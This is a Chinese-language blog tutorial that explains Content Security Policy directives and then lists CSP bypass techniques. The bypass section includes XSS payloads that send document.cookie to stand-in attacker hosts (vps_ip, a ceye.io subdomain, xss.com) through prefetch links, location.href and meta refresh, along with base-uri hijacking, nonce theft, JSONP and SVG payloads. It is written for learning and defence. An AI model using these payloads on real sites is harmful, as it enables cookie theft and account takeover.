本文内容:

CSP(内容安全策略)概念以及Bypass总结

CSP

概念

内容安全策略 (CSP) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等。无论是数据盗取、网站内容污染还是散发恶意软件,这些攻击都是主要的手段。

CSP 被设计成完全向后兼容,不支持CSP的浏览器也能与实现了CSP的服务器正常合作,反之亦然:不支持 CSP 的浏览器只会忽略它,如常运行,默认为网页内容使用标准的同源策略。如果网站不提供 CSP 头部,浏览器也使用标准的同源策略。

举例

<?php
header("Content-Security-Policy: default-src 'self';");
echo $_GET['a'];;
?>

没设置CSP前或使用了unsafe-inline

设置CSP后:

CSP设置

可以通过header来设置启用CSP

header("Content-Security-Policy: default-src 'self'; script-src 'self' https://lorexxar.cn;");

或者在使用meta标签同样启用CSP

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://lorexxar.cn;">

但在<meta>中不可使用frame-ancestorsreport-urisandbox规则

其中通过指定Content-Security-PolicyHTTP的头部Header,以及一串描述规则凌派的字符串组成Header的值

规则指令如下:

规则 规则说明
connect-src 限制您可以连接的来源(通过XHR,WebSocket和EventSource)
font-src 指定可以提供网络字体的来源
frame-src 使用child-src代替
img-src 定义可以加载图像的来源
child-src 列出工作程序和嵌入框架内容的URL
media-src 限制允许传递视频和音频的来源
object-src 允许控制Flash和其他插件
style-src script-src样式表的对应项
default-src 默认的加载策略

默认情况下,指令都是全部开放,如果没有对规则设定指令,比如front-src,则该指令默认情况下会像指定*为有效源一样工作(即容许从任何来源加载字体)

其中default-src可以用来对任意一个-src结尾的指令进行默认设置。比如当你设置default-src https://www.baidu.com时,若front-src,没有被设置时,则同样会从https://www/baidu.com加载字体

其中以下几个不受default-src控制,需要单独设置

规则 规则说明
base-uri 限制可以显示在页面<base>元素中的URL
form-action 列出要从<form>标签提交的有效结点
frame-ancestors 指定可以嵌入当前页面的源。该指令适用于<frame><iframe><embed>,和<applet>标签。该指令不能在<meta>标记中使用,并且仅适用于非HTML资源。
plugin-types 限制页面可以调用的插件类型
report-uri 指定一个URL,当违反内容安全策略时,浏览器将在该URL发送报告。该指令不能在<meta>标记中使用
sandbox 设置沙盒环境,该页面将被视为已将其加载到iframe具有sandbox属性的内,将页面强制为唯一的来源,并阻止表单提交

对于指令的调用,默认只使用第一个指令的策略,往后的重复策略的值将被忽略,设置格式如下:

script-src https://host1.com https://host2.com

除了常规的URL正则以及通配符组成的URL集合以外,其他规定的规则指令如下:

关键字 关键字说明
self 匹配当前域,但不匹配子域
none 任何都不匹配
unsafe-inline 允许内联JavaScriptCSS
unsafe-eval 允许类似文本到JavaScript的代码(如eval

https://developer.mozilla.org/zh-CN/docs/Web/Security/CSP/CSP_policy_directives

其中这些关键字需要单引号包裹才能作为关键字使用,否则会被认定为服务器URL

如果想向某个地址报告触发的CSP的警告⚠️时,可以使用Content-Security-Policy-Report-OnlyHeader头,同时必须采用report-uri这个规则

其中的报告规则如下:

  • document-uri 当前攻击所发生的文档的URI。

  • referrer当前攻击所发生的文档的来源页面的URI。

  • blocked-uri 被CSP策略所拦截的资源的URI。如果被拦截资源的URI属于与当前文档不同的来源,则所拦截的资源URI会被削减至只剩scheme,host和port三部分。

  • violated-directive 攻击所针对的策略部分的名称

  • original-policy 由X-Content-Security-Policy头指定的原始策略。

https://developer.mozilla.org/zh-CN/docs/Web/Security/CSP/Using_CSP_violation_reports

内联代码

对于内联的脚本代码,如:

javascript:alert(1);
<script>alert(1);</script>

基于白名单的CSP是无法识别与阻止的,因此浏览器的默认策略是完全阻止内联代码的执行

因此如果想调用调用这种代码,通常做法是重写JS函数并绑定到相应的事件

<script>
function alerts() {
alert('1');
}
</script>
<button onclick='alerts();'>Button</button>

然后将JS代码写入本地域JS文件当中

alert.js

function alerts() {
alert('1');
}
document.addEventListener('DOMContentReady', function () {
document.getElementById('dots')
.addEventListener('click', doAmazingThings);
});

test.html

<script src='alert.js'></script>
<button id='dots'>Button</button>

通过这种方式来调用JS

同时这种设置方式不止针对于JS,对于样式CSS而言,同样应该放到具体的.CSS文件当中,而不是通过内联的方式插入代码当中

如果想要强制使用内联代码的话,可以通过设置unsafe-inline或者nonce的随机数来限定内联脚本的执行,或者采用Hash来限定

<script nonce=xxxxxxxxxxxxxxx>
//Code
</script>
...
...
...
Content-Security-Policy: script-src 'nonce-xxxxxxxxxxxxxxx'

Bypass

link标签

https://xz.aliyun.com/t/315

<!-- firefox -->
<link rel="dns-prefetch" href="//[cookie].xxx.ceye.io">

<!-- chrome -->
<link rel="prefetch" href="//vps_ip?${cookie}">

不过现在已经用不了了,会被同源策略阻止,在比较老的浏览器上可能能够触发

location.href

CSP是不会阻止location.href跳转的

但这种方法我感觉挺不实用的,因为会跳转过去,太明显了

<html>
<head></head>
<body>
csp header test
<script>
location.href = "http://120.xx.xx.xx:xxxxx/"+document.cookie
</script>
</body>
</html>

利用iframe

如果我们需要数据存在于A.html

<meta http-equiv="Content-Security-Policy" content="default-src 'self'">

<h1 id="flag">flag{A2u13}</h1>

可以看到CSP被设置为只接受同源

但我们如果在同源下有一个文件B.html

此时可以插入script脚本,那么就可以通过iframe来讲A.html的数据带出来

<body>
<script>
var iframe = document.createElement('iframe');
iframe.src="A.html";
document.body.appendChild(iframe);
</script>
</body>

利用CDN的JS低版本库

具体原理就是由于许多服务商性能原因需要加载外部CDN的JS文件,而这个CDN位于script-src当中

从而可以利用低版本中爆出的模板注入等漏洞,从而能够带出cookies等数据

https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf

XSS without HTML: Client-Side Template Injection with AngularJS

A Wormable XSS on HackMD!

使用Google提供的CSP检测工具来检测安全性 - https://csp-evaluator.withgoogle.com/

因此对于这种绕过方式,要注意是否采用了CDN来加载外部JS,以及CDN是否在CSP白名单之上

站点静态可控

原理就是利用CSP中可控的站点

用来生成我们需要的js代码,从而执行我们的代码,但同样需要unsafe-eval的支持

举个例子:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://xxxxxx.com">
<script src="https://xxxxxx.com/gtm/js/alert.js"></script>
function alert(){
alert("CSP");
}

站点可控JSONP

用户资源或者JSONP可控的URL项目

https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/jsonp.js#L32-L180

要求满足站点在CSP的白名单当中

原理还是一致

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src https://www.google.com">

<script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert"></script>

其中的q以及callback可控

base-uri绕过

当当前页面的CSP设置了default-srcselfscript-src设置为nonce-xxx时,并且对base-uri没有设置时,可以采用这种办法

就可以使用<base>标签使当前页面上下文为自己的VPS,如果页面中的合法script标签采用了相对路径,那么最终加载的js就是针对base标签中指定url的相对路径

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-test'">
<base href="http://120.xx.xx.xx/">
<script nonce='test' src="alert.js"></script>

不完整的<script>标签绕过

<?php header("X-XSS-Protection:0");?>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'">
<?php echo $_GET['xss']?>
<script nonce='xxxxx'>
//do some thing
</script>
/?xss=a2u13<script src="data:text/plain,alert(1)" a=123 a=

看看效果

实际的拼接结果为:

a2u13<script src="data:text/plain,alert(1)" a=123 a=<script nonce='xxxxx'>//do some thing</script>

这样会把<script作为a的一个属性值被忽略掉,从而nonce='xxxxx'被窃取为我们攻击payload的属性值

不过现在不行了

会提示违反了none-xxxxx策略,估计现在srcnonce-xxxxx不能一起使用的原因

object-src绕过

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
<?php echo $_GET['xss']?>

对于这种限制了script-src的策略,可以考虑从其他策略入手

比如object-src没有被设置时

<embed width="100%" height="100%" src="http://vps_ip/exp.pdf"></embed>

其中由于HTML的会将一切文件尝试解析为文本的特性

可以在远程创建一个PDF,文件,其中里面加上我们的payload

具体我也没有成功实现,感觉他代码有些问题

https://blog.csdn.net/microzone/article/details/52850623

并且如果frame-ancestors限制了<embed标签同样不可用

SVG绕过

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve"> <image id="image0" width="751" height="751" x="0" y="0"
href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>alert(1)</script>
</svg>

利用条件是可以上传svg图片

通过不完整标签带出

原理感觉和不完整的script标签绕过方式一样

都是采用src="http://vps_ip/c=

这里要求src需要在CSP当中或者CSP被设置为*

我感觉挺鸡肋的…..

同时Chrome进制请求的url中存在< \n \r \t

CRLF绕过

通过CRLF漏洞把CSP挤到HTTP的消息返回体当中

从而绕过CSP限制

https://www.cnblogs.com/tr1ple/p/6648767.html

CSS选择器

https://www.freebuf.com/articles/web/162445.html

感觉利用条件太苛刻了

需要满足style和img可以跨域,数据在页面内部,实用性不是很高

URL跳转

default-src'none'条件下

<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >

在允许unsafe-inline的情况下

<script>
window.location="http://www.xss.com/x.php?c=[cookie]";
</script>